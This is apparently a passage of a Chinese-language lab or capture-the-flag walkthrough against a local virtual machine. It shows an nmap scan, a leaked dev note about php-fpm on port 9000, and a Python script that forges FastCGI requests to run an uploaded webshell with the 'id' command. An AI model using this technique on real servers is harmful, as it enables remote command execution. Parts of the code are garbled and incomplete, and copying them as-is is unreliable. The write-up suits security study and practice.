┌──(kali㉿kali)-[~] └─$ nmap -p- -T4 192.168.56.15 Starting Nmap 7.95 ( https://nmap.org ) at 2026-10-21 07:25 EDT Nmap scan report for 192.168.56.15 Host is up (0.00077s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:63:4C:34 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 15.12 seconds
web
靶机只开启了22端口和80 端口
web端口只有一个登录框
跑了一下弱口令没跑出来,扫目录也没扫到什么东西
在web前端代码中有一段关于auth的js代码
前端注释是个伏笔,同样重要
1
dev note (internal): reassembly backend is php-fpm on 127.0.0.1:9000,running the privileged worker pool used for image processing. requests are proxied from the web layer. do not expose outside the container.
defkv(k, v): k, v = k.encode(), v.encode() defln(n): returnbytes([n]) if n < 128else struct.pack('>I', n | 0x80000000) return ln(len(k)) + ln(len(v)) + k + v
params = { 'SCRIPT_FILENAME': '/var/www/html/uploads/shell.php', 'REQUEST_METHOD': 'GET', 'QUERY_STRING': 'c=id', 'SERVER_PROTOCOL': 'HTTP/1.1', 'GATEWAY_INTERFACE': 'CGI/1.1', 'REMOTE_ADDR': '127.0.0.1', 'SERVER_NAME': 'localhost', 'SERVER_PORT': '80', 'DOCUMENT_ROOT': '/var/www/html', } body = b''.join(kv(k, v) for k, v in params.items())
s = socket.create_connection(('127.0.0.1', 9000), timeout=5) s.sendall(req) out = b'' whileTrue: d = s.recv(4096) ifnot d: break out += d s.close() print(out.decode('latin-1')) PYEOF python3 /tmp/fcgi.py